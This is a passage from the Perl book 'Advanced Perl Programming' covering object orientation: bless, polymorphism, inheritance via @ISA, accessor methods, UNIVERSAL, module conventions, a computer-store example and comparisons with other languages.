  • Behavior (it can be steered and moved forward and backward)

Objects of a certain type are said to belong to a class. My car and your car belong to the class called Car or, if you are not too worried about specific details, to a class called Vehicle. All objects of a class have the same functionality.

In this section, we study how to create objects and how to enrich basic designs using inheritance and polymorphism.

7.2.1 Attributes

An object is a collection of attributes. An array or a hash can be used to represents this set, as we discussed in Chapter 2, Implementing Complex Data Structures. For example, if you need to keep track of an employee's particulars, you might choose one of these approaches:

# Use a hash table to store Employee attributes
%employee = ("name"     => "John Doe",
             "age"      => 32,
             "position" => "Software Engineer");
print "Name: ", $employee{name};

# Or use an array
$name_field = 0; $age_field = 1; $position_field = 2;
@employee = ("John Doe", 32, "Software Engineer");
print "Name: ", $employee[$name_field];

The section "Efficient Attribute Storage" in Chapter 8, Object Orientation: The Next Few Steps describes a more efficient approach for storing attributes. Meanwhile, we will use a hash table for all our examples.

7.2.2 Unique Identity

Clearly, one %employee won't suffice. Each employee requires a unique identity and his or her own collection of attributes. You can either allocate this structure dynamically or return a reference to a local data structure, as shown below:

# Using an anonymous hash
sub new_employee {
    my ($name, $age, $starting_position) = @_;
    my $r_employee = {                  # Create a unique object
        "name"     => $name,            # using an anonymous hash
        "age"      => $age,
        "position" => $starting_position
    };
    return $r_employee;                 # Return "object"
}

# OR, returning a reference to a local variable
sub new_employee {
    my ($name, $age, $starting_position) = @_;
    my %employee = (
        "name"     => $name,
        "age"      => $age,
        "position" => $starting_position
    );
    return \%employee;  # return a reference to a local object
}
# Use it to create two employees
$emp1 = new_employee("John Doe",   32, "Software Engineer");
$emp2 = new_employee("Norma Jean", 25, "Vice President");

new_employee() returns a reference to a unique data structure in both cases.

As a user of this subroutine, you are not expected to know whether this scalar contains a reference to a Perl data structure or whether it contains a string (for example, it could just contain a database primary key, while the rest of the details are in a corporate database). The employee details are hence well encapsulated. Not that encapsulation should not be confused with enforced privacy.

In the preceding example, the hash table is the object, and the reference to the hash table is termed the object reference. Keep in mind that we have not introduced any new syntax since the last chapter.

7.2.3 Behavior

All functions that access or update one or more attributes of the object constitute the behavior of the object.

Consider

sub promote_employee {
   my $r_employee = shift;
   $r_employee->{"position"} =
       lookup_next_position($r_employee->{"position"});
}

# To use it
promote_employee($emp1);

Such functions are also called instance methods in OO circles because they require a specific instance of the an object; an employee, in this case.

To avoid having to suffix every method with the suffix "_employee," we put all these functions in a package of their own, called Employee:

package Employee;
sub new {   # No need for the suffix.
    ....
}
sub promote {
    ....
}

To use this module, you need to say:

$emp = Employee::new("John Doe", 32, "Software Engineer");
Employee::promote($emp);

As you can see, this code is beginning to encapsulate a class called Employee: the user of this code invokes only the interface functions new and promote and does not know or care about the type of data structure used to store employee details, or, as we mentioned earlier, whether a database is being used behind the scenes.

7.2.4 The Need for Polymorphism

What we have seen thus far is the kind of stuff that a C programmer would do, except that he or she would likely use a struct to keep track of the attributes. This is precisely the way the stdio library works, for example. fopen() is a constructor that returns a pointer to a unique FILE structure, allocated dynamically. The pointer (the object reference) is supplied to other methods like fgets() and fprintf().

Unfortunately, complications arise when the problem gets more involved. Let us say we have to keep information about hourly and regular employees. Hourly employees get paid by the hour and are eligible for overtime pay, while regular employees get a monthly salary. One way to approach it is to create a new function per type of employee:

package Employee;
# Creating Regular Employees
sub new_regular {
    my ($name, $age, $starting_position, $monthly_salary) = @_;
    my $employee = {
        "name"           => $name,
        "age"            => $age,
        "position"       => $starting_position,
        "monthly_salary" => $monthly_salary,
    };
    return $employee;  # return the object reference
}
# Hourly Employees
sub new_hourly {
    my ($name, $age, $starting_position,
        $hourly_rate, $overtime_rate) = @_;
    my $employee = {
        "name"          => $name,
        "age"           => $age,
        "position"      => $starting_position,
        "hourly_rate"   => $hourly_rate,
        "overtime_rate" => $overtime_rate
    };
    return $employee;  # return the object reference
}

Now, if we want to get an employee's year-to-date salary, we have to make a distinction between the two types of employees. We could provide the two subroutines compute_hourly_ytd_income() and compute_regular_ytd_income(), but of course the story doesn't end there. Other differences between hourly and regular employees (such as allowed vacation, medical benefits, and so on) or the introduction of other types of employees (such as temporary employees) results in a combinatorial explosion of functions. Worse, the interface requires the user of this package to make a distinction between types of employees to be able to call the right function.

To get us out of this bind, we put different types of employees in different packages. Then we use the bless keyword to tag objects internally with a pointer to the packages they belong to. The boldface lines in the following example show the changes from the code presented above (explanations follow):

#-------------------------------------------------------------
package RegularEmployee;
sub new {
    my ($name, $age, $starting_position, $monthly_salary) = @_;
    my $r_employee = {
        "name"           => $name,
        "age"            => $age,
        "position"       => $starting_position,
        "monthly_salary" => $monthly_salary,
        "months_worked"  => 0,
    };
    bless $r_employee, 'RegularEmployee';   # Tag object with pkg name
    return $r_employee;                     # Return object
}
sub promote {
   #...
}
sub compute_ytd_income{
   my $r_emp = shift;
   # Assume the months_worked attribute got modified at some point
   return $r_emp->{'monthly_salary'} * $r_emp->{'months_worked'};
}

#-------------------------------------------------------------
package HourlyEmployee;
sub new {
    my ($name, $age, $starting_position,
        $hourly_rate, $overtime_rate) = @_;
    my $r_employee = {
        "name"          => $name,
        "age"           => $age,
        "position"      => $starting_position,
        "hourly_rate"   => $hourly_rate,
        "overtime_rate" => $overtime_rate
    };
    bless $r_employee, 'HourlyEmployee';
    return $r_employee;
}
sub promote {
   #...
}
sub compute_ytd_income {
   my ($r_emp) = $_[0];
   return $r_emp->{'hourly_rate'} * $r_emp->{'hours_worked'}
      + $r_emp->{'overtime_rate'} * $r_emp->{'overtime_hours_worked'};
}

bless is given an ordinary reference to a data structure. It tags that data structure (note: not the reference[1]) as belonging to a specific package and thus bestows on it some more powers, as we shall soon see. bless is to our hash table what baptism is to a child. It doesn't change the data structure in any way (which still remains a hash table), just as baptism doesn't really alter a person except to give them an additional identity.

[1] The reference is like a void * in C. The object is typed, not the C pointer or Perl reference.

The nice thing about bless is that it gives us a direct way of using this object. Here's how:

# First create two objects as before.
$emp1 = RegularEmployee::new('John Doe', 32,    # Polymorphism
                                'Software Engineer', 5000);
$emp2 = HourlyEmployee::new('Jane Smith', 35,   # Polymorphism
                               'Auditor', 65, 90);

Now use the arrow notation to directly invoke instance methods, or, as they say in OO-land, invoke methods on the object:

# Direct invocation
$emp1->promote();
$emp2->compute_ytd_income();

When Perl sees $emp1->promote(), it determines the class to which $emp1 belongs (the one under which it has been blessed). In this case, it is the Regular-Employee. Perl then calls this function as follows: RegularEmployee::promote($emp1). In other words, the object on the left side of the arrow is simply given as the first parameter of the appropriate subroutine.

Both the :: and -> notations are in fact permissible, unlike in C++. The first one is more flexible because Perl figures out the class at run time, while the latter is faster because the function to be called is known at compile time. There is nothing magical about an instance method in Perl. It is an ordinary subroutine whose first parameter simply happens to be an object reference. (You might have noticed that the promote method did not change from the previous section.)

So is this mere syntactic sugar? Finally, all we seem to have achieved is the ability to call an instance method of an object through an alternate notation.

No, we have gained an important advantage. The module user doesn't have to discriminate between types of objects using an if statement but instead lets Perl take care of routing a call to the appropriate function. That is, instead of saying something like

if (ref($emp) eq "HourlyEmployee") {
    $income = HourlyEmployee::compute_ytd_income($emp);
} else {
    $income = RegularEmployee::compute_ytd_income($emp);
}

we can simply say,

$income = $emp->compute_ytd_income();

This ability of Perl to call the appropriate module's function is called run-time binding. Incidentally, recall from Chapter 1, Data References and Anonymous Storage, that the ref function returns a string indicating the type of the entity pointed to by the reference; in the case of a blessed object reference, it returns the name of the corresponding class.

Note that while processing payroll records, $emp can be a regular employee in one iteration and an hourly employee in another. This feature is called polymorphism (poly + morph = the ability of an object to take on many forms).

Polymorphism and run-time binding are the chief contributions of object-oriented languages. They give a system an enormous amount of flexibility because you can now add a new type of employee (with the same interface as the other types) without having to change the payroll-processing code. This is possible because each object "knows" how to compute its own year-to-date income. It pays to remember this cardinal rule:

It is indicative of inflexible procedural design if you find yourself using conditional statements to distinguish between object types.

The design is flexible also because you can add new methods to any of the packages without hurting what is already present.

7.2.5 Class Methods and Attributes

Class attributes are properties that pertain to all instances of a class, but don't vary on a per-employee basis. For example, one insurance company might provide health coverage for all employees, so it doesn't make sense to store the name of this company in each and every employee.

Class methods (also known as static methods) are functions that are relevant to that class but don't need a specific object instance to work with. For example, a subroutine called get_employee_names() doesn't require an employee object as input to figure out what it has to do.

Perl has no specific syntax for class attributes and methods, unlike C++ or Java. Class attributes are simply package global variables, and class methods are ordinary subroutines that don't work on any specific instance. Perl supports polymorphism and run-time binding for these ordinary subroutines (not just instance methods), which can be leveraged to produce a truly flexible design. Consider

$record = <STDIN>; # Tab delimited record containing employee details
($type, $name, $age, $position) = split(/\t/, $details);

# Create an employee object of the appropriate class
$emp = $type->new($name, $age, $position);

# Now use the object as before
$emp->compute_ytd_income();

In this example, $type can contain either of these two strings: "HourlyEmployee" or "RegularEmployee." Note that this variable is not an object; it is simply the name of a class. This approach improves on the example in the previous section by avoiding having to hardcode the name of the package. Why is that an improvement? Well, if you didn't have this facility, you would have had to say something like this to create an appropriately typed object:

if ($type eq "HourlyEmployee") {
     $emp = HourlyEmployee->new(....);
} else {
     $emp = RegularEmployee->new(....);
}

Any piece of code that explicitly depends upon checking the class or type of an object requires too much maintenance. If you introduce a new type of employee tomorrow, you'll have to go back and add the new type to all such pieces of code.

Recall that in the case of an instance method, the object to the left of the arrow is passed as the first parameter to the subroutine. It is no different here. The procedure HourlyEmployee::new must be rewritten to expect this:

package HourlyEmployee;
sub new {
    my ($pkg, $name, $age, $starting_position,
        $hourly_rate, $overtime_rate) = @_;

Given that both instance and class methods are ordinary subroutines, you can always write a subroutine that can function as either, by checking the type of the first parameter supplied to it. Consider the following constructor, which creates a new object or a clone of an existing one, depending on how it is invoked:

package Employee;
sub new {
    $arg = shift;
    if (ref($arg)) {
        # Called as $emp->new(): Clone the Employee given to it
        #....
    } else {
        # Called as Employee->new():  Create a new employee
        #...
    }
}

You can now use this method as follows:

# Using new() as a class method
$emp1 = Employee->new("John Doe", 20, "Vice President");

# Using new() as an instance method to clone the employee details
$emp2 = $emp1->new();

I'll leave it up to you to answer why you might want to clone an employee!

What have we learned in this section? If we write all our class methods to expect the name of the module as the first parameter, we make it possible for the module's user to employ run-time binding and polymorphism. We will follow this practice from now on.

You might be curious why a class method needs to be supplied the name of its own module. We'll answer this shortly when we deal with inheritance.

7.2.5.1 Detour: The indirect notation

Perl wouldn't be Perl if there weren't a couple of alternatives to suit everyone's fancy. It supports an alternative to the arrow notation, called the indirect notation, in which the function name precedes the object or class name. An example should make this clear:

$emp = new Employee ("John Doe", 20, "Vice President");

C++ folks will identify with this notation. This approach can be used for objects too:

promote $emp "Chairman", 100000; # Give him a promotion and a raise

Notice that there is no comma between $emp and the first argument ("Chairman"). This is how Perl knows that you are calling a method using the indirect notation and not calling a subroutine in the current package. Perhaps you will identify more with the following example:

use FileHandle;
$fh = new FileHandle("> foo.txt");
print $fh "foo bar\n";

print is a method on the FileHandle module.

While the indirect notation has the same effect as the arrow notation, it cannot be used in a chain of calls. The following is possible only with the arrow notation:

use FileHandle;
$fh = FileHandle->new("> foo.txt")->autoflush(1); # Chain of calls

7.2.6 The Need for Inheritance

Perl allows a module to specify a list of other module names, in a special array called @ISA. When it does not find a particular class or instance method in a module, it looks to see if that module's @ISA has been initialized. If so, it checks to see if any of those modules support the missing function, picks the first one it can find, and passes control to it. This feature is called inheritance. Consider

package Man;
@ISA = qw(Mammal Social_Animal);

This allows us to specify that Man is-a Mammal and is-a Social_Animal. All traits (read: methods) common to mammals are supported in the Mammal class and don't have to be implemented in Man too. Let us look at a more practical example.

In our attempts to distinguish between hourly and regular employees, we have gone to the other extreme and made them completely independent. Clearly, there are a number of common attributes (name, age, and position) and behavior (promote, say) that they all share as employees. We can thus use inheritance to "pull out" the common aspects into a superclass (or base class) called Employee:

#---------------------------------------------------------
package Employee; #Base class
#---------------------------------------------------------
sub allocate{
    my ($pkg, $name, $age, $starting_position) = @_;
    my $r_employee = bless {
        "name"           => $name,
        "age"            => $age,
        "position"       => $starting_position
    }, $pkg;
    return $r_employee;
}
sub promote {
   my $r_employee            = shift;
   my $current_position      = $r_employee->{"position"};
   my $next_position         = lookup_next_position($current_position);
   $r_employee->{"position"} = $next_position;
}
#---------------------------------------------------------
package HourlyEmployee;
#---------------------------------------------------------
@ISA = ("Employee"); # Inherits from Employee
sub new {
    my ($pkg, $name, $age, $starting_position,
        $hourly_rate, $overtime_rate) = @_;
    # Let the Employee package create and bless the object
    my $r_employee = $pkg->allocate($name, $age,
                                    $starting_position);
    # Add HourlyEmployee-specific attributes and we are done.
    $r_employee->{"hourly_rate"}   = $hourly_rate;
    $r_employee->{"overtime_rate"} = $overtime_rate;
    return $r_employee; # return the object reference
}
sub compute_ytd_income {
    ....
}
# ... And similarly for package RegularEmployee

Whatever is common to all employees is implemented in the base class. Since both HourlyEmployee and RegularEmployee need a class method called new() to allocate a hash table, to bless it, and to insert common attributes into this table, we factor this functionality out into a inheritable subroutine called allocate in module Employee .

Notice how allocate avoids hardcoding the name of a class, thus ensuring maximum reusability. HourlyEmployee::new() calls $pkg->allocate, which means that the first parameter to allocate, $pkg, has the value HourlyEmployee. allocate uses this to bless the object directly into the inherited class. HourlyEmployee::new doesn't need to create the object anymore; it just has to insert its own specific attributes.

Nothing has changed from the user's point of view. You still say,

$emp = HourlyEmployee->new(....);

But we have now managed to eliminate redundant code in the modules and left them open for future enhancements.

7.2.6.1 Overriding base classes

Let us say we wanted to ensure that hourly employees should never rise above the level of a manager. The example shows how to override the base class's promote() method to do this check. Here's how:

package HourlyEmployee;
sub promote {
    my $obj = shift;
    die "Hourly Employees cannot be promoted beyond 'Manager'"
           if ($obj->{position} eq 'Manager');
    # call base class's promote
    $obj->Employee::promote(); #Specify the package explicitly
}

This syntax tells Perl to start the search for promote() in the @ISA hierarchy, starting from Employee. A small problem here is that by hardcoding the name of a class (Employee), we make it difficult for us to change our mind about the inheritance hierarchy. To avoid this, Perl provides a pseudoclass called SUPER, like Smalltalk, so that you can say,

    $obj->SUPER::promote();

This searches the @ISA hierarchy for the appropriate promote subroutine. Now, if we interpose another package between Employee and HourlyEmployee in the inheritance hierarchy, we just need to update HourlyEmployee's @ISA array.

NOTE: We have now gradually eliminated the need for the :: notation to call a module's subroutines. A subroutine either is imported directly into your namespace, in which case you don't need to fully qualify its name, or is invoked by using the -> notation. You still need to use "::" to access a foreign package's variables.

7.2.7 Object Destruction

Perl automatically garbage collects a data structure when its reference count drops to zero. If a data structure has been blessed into a module, Perl allows that module to perform some clean-up before it destroys the object, by calling a special procedure in that module called DESTROY and passing it the reference to the object to be destroyed:

package Employee;
sub DESTROY {
     my ($emp) = @_;
     print "Alas, ", $emp->{"name"}, " is now no longer with us \n";
}

This is similar to C++'s destructor or the finalize() method in Java in that Perl does the memory management automatically, but you get a chance to do something before the object is reclaimed. (Unlike Java's finalize, Perl's garbage collection is deterministic; DESTROY is called as soon as the object is not being referred to any more.)

Note that you are not compelled to declare this subroutine; you do so only if you have some clean-up work to be done. In a module such as Socket, you would close the corresponding connection, but in something like Employee, where no external system resources are being held up, you don't have to provide a DESTROY method. But recall that AUTOLOAD is called if a function is not found. In the case in which you supply AUTOLOAD but not the DESTROY method, you might want to ensure that AUTOLOAD checks for this possibility:

sub AUTOLOAD {
    my $obj = $_[0];
    # $AUTOLOAD contains the name of the missing method

    # Never propagate DESTROY methods
    return if $AUTOLOAD =~ /::DESTROY$/;
    # ....
}

7.2.8 Accessor Methods

According to Rumbaugh et al. [15]:

Encapsulation can be violated when code associated with one class directly accesses the attributes of another class. Direct access makes assumptions about storage format and location of the data. These details must be hidden within the class....The proper way to access an attribute of another object is to "ask for it" by invoking an operation on the object, rather than simply "taking it."

This is as true for classes related by inheritance as for unrelated classes.

To discourage direct access to an object's attributes, we provide "accessor methods." These two methods read and update the "position" attribute of an employee:

$pos = $emp->get_position();                 # read attribute
$emp->set_position("Software Engineer");     # write attribute

The more popular convention is to have one method to handle both read and write access:

$pos = $emp->position();                     # read attribute
$emp->position("Software Engineer");         # write attribute

This is how the module might implement it:

package Employee;
sub position {
    my $obj = shift;
    @_ ? $obj->{position} = shift            # modify attribute
       : $obj->{position};                   # retrieve attribute
}

Note that the method returns the latest value of the position attribute in both cases, because in both cases (get and set), the expression $obj->{position} is the last to be evaluated.

It might seem a complete waste of time to call a method every time you need to touch an attribute. But, as it happens, accessor methods are absolutely necessary in designing for change. Consider the following advantages:

Encapsulation

Accessor methods hide how object attributes are stored. If you change the way this layout is done, only these methods need to be modified; the rest of the code, including derived classes, remain untouched. In Perl, as in other OO scripting languages, in which reengineering may be necessary for performance or space efficiency, accessor methods are a good thing. Smalltalk, CORBA (Common Object Request Broker Architecture), and ActiveX are other well-known cases in which the only way to an attribute is through an accessor.

Side effects

Accessor methods are sometimes used for triggering actions in addition to retrieving or updating the attribute. GUI toolkits use this idiom routinely. For example:

     $button->foreground_color('yellow');

This not only changes the value of the foreground color attribute, but updates the screen too.

Access checking

Accessor methods can be made to disallow updates. For example, primary key attributes such as an employee's name should not be updatable once created; an accessor can easily enforce this.

Computed attributes

An employee's income can be seen as an attribute, though internally it needs to be computed. Instead of writing a method like compute_ytd_income(), you simply call it income(). This makes it look like an attribute accessor, and it can disallow updates to this attribute.

Moral of the story: Get in the habit of writing accessor methods. In the next chapter, we will study a module called ObjectTemplate, a standard library called Class::Template, and a module on CPAN called MethodMaker, all of which automatically create accessor methods for you, so there is really no reason not to use such methods.

Caveat: Even if your attributes are wrapped in accessor methods, you should be wary of unrelated classes using these methods. When reviewing a piece of code, always look for the real intention behind these accesses; sometimes it may be better to provide other methods that make this access unnecessary. For example, a user should always use $emp->promote() instead of directly updating the position attribute.

Previous: 7.1 OO: An Introduction | Advanced Perl Programming | Next: 7.3 UNIVERSAL
7.1 OO: An Introduction | Book Index | 7.3 UNIVERSAL


[Chapter 7] 7.3 UNIVERSAL

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

7.3 UNIVERSAL

All modules implicitly inherit from a built-in module called UNIVERSAL and inherit the following three methods:

isa (package name)

For example, Rectangle->isa('Shape') returns true if the Rectangle module inherits (however indirectly) from the Shape module.

can (function name)

Rectangle->can('draw') returns true if the Rectangle or any of its base packages contain a function called draw.

VERSION (need version)

If you say,

    package Bank;
    $VERSION = 5.1;

and the user of this module says,

    use Bank 5.2;

Perl automatically calls Bank->VERSION(5.2), which can, for instance, make sure that all libraries required for version 5.2 are loaded. The default VERSION method provided by UNIVERSAL simply dies if the Bank's $VERSION variable has a lower value than that needed by the user of the module.

Because Perl allows a package to shamelessly trample on other namespaces, some packages use the UNIVERSAL module as a holding area for some global subroutines that they wish to export to everyone. I recommend that you do not use this "feature" yourself (or at least not in those that you contribute to CPAN!).

7.3.1 Searching for Methods

We have mentioned two places that Perl searches when it cannot find a method in the target module: the inheritance hierarchy (@ISA) and AUTOLOAD. While checking the inheritance hierarchy, Perl checks the base classes' @ISA arrays too: a depth-first search is conducted, and the first available one is used. Let us examine the precise order in which all these subroutines are searched. Given:

package Man;
@ISA = qw(Mammal Social_Animal);

a call to Man->schmooze results in the following search sequence. First the normal inheritance hierarchy is checked:

  1. Man::schmooze

  2. Mammal::schmooze

  3. (Mammal's base classes, recursively)::schmooze

  4. Social_Animal::schmooze

  5. (Social_Animal's base classes, recursively)::schmooze

  6. UNIVERSAL::schmooze (because UNIVERSAL is implicitly at the end of every module's @ISA array)

Then AUTOLOAD is looked up in the same order:

  7. Man::AUTOLOAD

  8. Mammal::AUTOLOAD

  9. (Mammal's base classes, recursively)::AUTOLOAD

  10. Social_Animal::AUTOLOAD

  11. (Social_Animal's base classes, recursively)::AUTOLOAD

  12. UNIVERSAL::AUTOLOAD

The first available subroutine is given the control and the search is stopped. If all fails, Perl throws a run-time exception.

Previous: 7.2 Objects in Perl | Advanced Perl Programming | Next: 7.4 Recap of Conventions
7.2 Objects in Perl | Book Index | 7.4 Recap of Conventions


[Chapter 7] 7.4 Recap of Conventions

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

7.4 Recap of Conventions

While Perl allows us infinite flexibility in how we organize our modules, we choose to stick to the particular set of conventions introduced in this chapter so that everyone deals with modules in a consistent fashion. Let us quickly summarize these conventions:

  • A module must be present in its own file called <module>.pm. (Remember that the last executing global statement must return 1 to signify successful loading.)

  • All subroutines in a module should be designed as methods. That is, they should expect either the name of a class or an object reference as their first parameter. For added convenience, they should be able to deal with either.

  • Package names should never be hardcoded. You must always use the package name obtained as the first argument to supply to bless. This enables a constructor to be inherited.

  • Always provide accessor methods for class and instance attributes.

The following example puts all these techniques and conventions into practice.

7.4.1 Example

Consider a store that sells computers and individual components. Each component has a model number, a price, and a rebate. A customer can buy individual components, but can also put together a custom computer with specific components. The store adds a sales tax to the final price. The objective of this example is to provide the net price on any item you can buy from the store.

We need to account for the facts that a part may consist of other parts, that the sales tax may depend on the type of part and the customer's location, and that we may have to charge for labor to assemble a computer

One useful technique for jump-starting a design is to use case analysis, as propounded by Ivar Jacobson [19]. You look at the interface from the point of view of the user, without worrying about specific objects' attributes. That way, we can understand the objects' interface without worrying about implementation details. Let's say this is how we want to use the system:

$cdrom   = new CDROM   ("Toshiba 5602");

$monitor = new Monitor ("Viewsonic 15GS");
print $monitor->net_price();

$computer = new Computer($monitor, $cdrom);
print $computer->net_price();

Figure 7.1 shows one way of designing the object model. I have used Rumbaugh's OMT (Object Modeling Technique) notation to depict classes, inheritance hierarchies, and associations between classes. The triangle indicates an is-a relationship, and the line with the 1+ indicates a one-to-many relationship. The computer is-a store item and contains other components (has-a relationship). A CD-ROM or monitor is a component, which in turn is a store item.

Figure 7.1: Object model for computer store example

All attributes common to all store items are captured in the StoreItem class. To compute the net price of any component, we have to take rebate and sales tax into account. But when assembling components to build a computer, we have to add sales tax only at the end; we can't simply add up all the components' net prices. For this reason, we split the calculation into two: price, which subtracts the rebate from the price, and net_price, which adds on the sales tax. At present, the component classes are empty classes, because their entire functionality is captured by StoreItem. Clearly, if the problem stopped here, this design would be unnecessarily complex; we could have simply had one lookup table for prices and rebates and one function to calculate the prices. But we are designing for change here. We expect it to get fleshed out when we start accounting for taxes by location, dealing with components containing other components, and charging for labor. It is best to adopt a generalized mentality from the very beginning.

The Computer class does not use its price attribute; instead, it adds up the prices of its constituent components. It doesn't need to override the net_price functionality, because that function simply adds the sales tax onto an object's price, regardless of the type of the object.

Example 7.1 gives a translation of the object model into code.

Example 7.1: Sample Object Implementation

package StoreItem;

my $_sales_tax = 8.5;  # 8.5% added to all components's post rebate price

sub new {
    my ($pkg, $name, $price, $rebate) = @_;
    bless {
       # Attributes are marked with a leading underscore, to signify that
       # they are private (just a convention)
        _name => $name, _price => $price, _rebate => $rebate
    }, $pkg;
}

# Accessor methods
sub sales_tax {shift; @_ ? $_sales_tax = shift : $_sales_tax}
sub name {my $obj = shift; @_ ? $obj->{_name} = shift : $obj->{_name}}
sub rebate {my $obj = shift; @_ ? $obj->{_rebate} = shift
                                : $obj->{_rebate}}
sub price  {my $obj = shift; @_ ? $obj->{_price} = shift
                                : $obj->{_price} - $obj->_rebate}
}

sub net_price {
    my $obj = shift;
    return $obj->price * (1 + $obj->sales_tax / 100);
}
#--------------------------------------------------------------------------
package Component;
@ISA = qw(StoreItem);

#--------------------------------------------------------------------------
package Monitor;
@ISA = qw(Component);
# Hard-code prices and rebates for now
sub new { $pkg = shift; $pkg->SUPER::new("Monitor", 400, 15)}

#--------------------------------------------------------------------------
package CDROM;
@ISA = qw(Component);
sub new { $pkg = shift; $pkg->SUPER::new("CDROM", 200, 5)}

#--------------------------------------------------------------------------
package Computer;
@ISA = qw(StoreItem);

sub new {
    my $pkg = shift;
    my $obj = $pkg->SUPER::new("Computer", 0, 0); # Dummy value for price
    $obj->{_components} = [];                     # list of components
    $obj->components(@_);
    $obj;
}

# Accessors
sub components {
    my $obj = shift;
    @_ ? push (@{$obj->{_components}}, @_)
       : @{$obj->{_components}};
}
sub price {
    my $obj = shift;
    my $price = 0;
    my $component;
    foreach $component ($obj->components()) {
        $price += $component->price();
    }
    $price;
}

The design for change philosophy is in evidence here. All instance variables get accessor methods, which makes it possible for us to override price() in the Computer class. The Computer::components accessor method can now be changed at a later date to check for compatibility of different components. Even the package global variable $sales_tax is retrieved through an accessor method, because we expect that different components may later on get different sales taxes, so we ask the object for the sales tax.

Notice also that the constructors use SUPER to access their super classes' new routines. This way, if you create a Component::new tomorrow, none of the other packages need to be changed. StoreItem::new blesses the object into a package given to it; it does not hardcode its own package name.

If you put these packages into different files, recall from Chapter 6, Modules, that the files should have the <package name>.pm naming convention. In addition, they should have a 1; or return 1; as the last executing statement.

Previous: 7.3 UNIVERSAL | Advanced Perl Programming | Next: 7.5 Comparison with Other OO Languages
7.3 UNIVERSAL | Book Index | 7.5 Comparison with Other OO Languages


[Chapter 7] 7.5 Comparison with Other OO Languages

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

7.5 Comparison with Other OO Languages

7.5.1 Tcl

The base Tcl library does not have any object-oriented features. It has recently acquired a package construct that provides a namespace for subroutines and global variables (there is no relationship between packages). Tcl is a very malleable language, and several freely available libraries strive to impose an object-oriented structure on the language. A package called stoop provides a pure Tcl solution featuring single and multiple inheritance, dynamic binding, run-time type identification, and so on. Another, called [incr Tcl], is a slightly more ambitious effort and provides a C++-like set of keywords and facilities. incr Tcl requires a patch to Tcl, though.

7.5.2 Python

Python is an excellent language for learning object orientation. (It also happens to be my favorite OO scripting language.) All facilities, including internal data structures such as lists and dictionaries (hash tables) and external libraries have consistent object-oriented interfaces. Python provides a number of hooks for class developers to write different types of accessor methods and supports multiple inheritance. All objects in Python are implemented as hash tables, unlike in Perl, in which you have to choose a representation (or looking at it more optimistically, where you are free to choose the optimal representation).

7.5.3 C++ and Java

There are a number of significant differences between Perl and C++ in their approach to object-orientation.

  • Object structure . C++ requires you to declare your object's structure using the class keyword, unlike Perl, which doesn't care how you keep your object's state - as a hash, array, or scalar. The only thing Perl really asks is that you return a blessed reference to that data.

  • Privacy. C++ has keywords to enforce various shades of privacy (private, protected, public). Perl does not enforce privacy; if you need privacy you can use lexical variables.

  • Constructors/destructors. C++ requires that the constructing subroutine of an object have the same name as the class. Perl doesn't have any such strictures - any subroutine can be a constructor (the name new is just a convention). On the other hand, when an object is going to be destroyed, both Perl and C++ require well-known destructor names. A C++ constructor is really an initializer; the memory is allocated before the constructor is given control. In Perl, it is the programmer's responsibility to do both allocation and initialization.

  • Static versus instance methods. C++ provides the static keyword to distinguish between static functions and object methods. Perl doesn't make that distinction - subroutines are indistinguishable from each other. A Perl subroutine can examine its arguments and can act as either.

  • Declaration and definition. C++, unlike Perl, requires that declaration of a class be independent of its implementation (unless the implementation is inline). The typical C++ convention is to put the declarations in a header file and the implementation in a separate file.

  • Compile-time versus run-time features. C++ requires that all class information, such as the inheritance hierarchy, the number and type of attributes and methods, and so on, be known at compile-time. Perl allows a run-time redefinition of everything; you can add, delete, or update methods or change the inheritance hierarchy by changing @ISA. I recommend that you not take advantage of this ability.

  • Run-time binding. Since C++ does strict type-checking, run-time binding works only if the objects inherit from a common base class. Perl doesn't have this restriction.

Much of what has been said of C++ in the above comparison is true of Java too.

Previous: 7.4 Recap of Conventions | Advanced Perl Programming | Next: 7.6 Resources
7.4 Recap of Conventions | Book Index | 7.6 Resources


[Chapter 7] 7.6 Resources

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

7.6 Resources

  1. perltoot (Perl documentation). Tom Christiansen.

    "Tom's object-oriented tutorial" gives an excellent treatment of object orientation and, specifically, OO with Perl. A must-read.

  2. comp.object FAQ

    From ftp://rtfm.mit.edu/pub/usenet/comp.object. One of the best FAQ compilations around.

  3. Object-Oriented Modeling and Design. J. Rumbaugh, M. Blaha, W. Premerlani, F. Eddy, and W. Lorensen. Prentice-Hall, 1991.

    An excellent treatment of object orientation, especially as translated to a programming language. Also contains good comparisons of OO with other software methodologies.

  4. Design Patterns: Elements of Reusable Object-Oriented Software. Erich Gamma, Richard Helm, Ralph Johnson, and John Vlissides. Addison-Wesley, 1994.

    This book is a catalog of commonly used patterns of interacting objects (independent of language). Even if the patterns themselves are sometimes intuitive, the very act of giving them a name enriches an object practitioner's vocabulary.

  5. Bringing Design to Software. Terry Winograd. Addison-Wesley, 1996.

    Among other things, this book examines several highly successful software products and argues that user-oriented design is the best software methodology. (None of the products that have really sold have worried particularly about object-oriented programming.) Interesting and persuasive.

  6. The Mythical Man-Month. Frederick P. Brooks. Addison-Wesley, 1995.

  7. Object-Oriented Software Engineering: A Use Case Driven Approach. Ivar Jacobson. Addison-Wesley, 1994.

Previous: 7.5 Comparison with Other OO Languages | Advanced Perl Programming | Next: 8. Object Orientation: The Next Few Steps
7.5 Comparison with Other OO Languages | Book Index | 8. Object Orientation: The Next Few Steps


[Chapter 8] Object Orientation: The Next Few Steps

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book
Previous: 7.6 Resources Chapter 8 Next: 8.2 Delegation

8. Object Orientation: The Next Few Steps

Contents:
Efficient Attribute Storage
Delegation
On Inheritance
Resources

No ties bind so strongly as the links of inheritance.

- Stephen Jay Gould

This chapter is essentially a motley collection of ideas, techniques, and opinions related to Perl objects. I have not attempted to weave these threads too closely. The topics are as follows:

Efficient attribute storage

Search for an alternative way of representing object attributes, instead of hash tables. The two strategies examined in this chapter occupy less space and are faster.

Delegation

How to use AUTOLOAD to automatically forward method calls.

Inheritance and composition

What I find objectionable about inheritance, along with alternative ways of structuring classes.

8.1 Efficient Attribute Storage

Hash tables have traditionally been used for storing object attributes. There are good reasons for doing this:

  • Each attribute is self-describing (that is, the name and type of each attribute are easily obtained from the object), which makes it easy to write readable code. It also helps modules that do automatic object persistence or visualization of objects, without the object's explicit cooperation.

  • Each class in an inheritance hierarchy can add attributes freely and independently.

